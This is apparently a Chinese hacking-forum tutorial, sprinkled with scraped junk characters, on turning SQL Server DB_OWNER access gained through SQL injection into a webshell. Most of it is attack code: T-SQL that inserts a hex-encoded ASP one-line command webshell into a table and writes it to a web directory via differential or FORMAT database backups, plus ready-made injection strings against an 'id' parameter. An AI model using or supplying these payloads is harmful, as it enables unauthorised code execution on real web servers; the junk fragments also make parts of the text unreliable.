DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:

' i3 y/ k. ^9 p; i+ o减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
, I' F4 Y/ N2 r% ^4 h! c加一个参数WITH DIFFERENTIAL

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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 Z% P5 `- u" ?$ }% h* r6 Y' [+ Pcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT
加一个参数WITH FROMAT
$ }& c' u+ Y2 n) e: Q2 J$ j* G有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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' o2 }; v3 I  B: U7 d" A declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
) A. p  _9 g, X& d; F  c# Wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

$ ~: C5 h6 c' a2 |& J; k; P总的来说就是那么简单几句,下面以备份数据库model为例子
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id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
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4 f* [: t5 G8 N0 h id=1;backup database model to disk='你的路径‘ with differential,format;--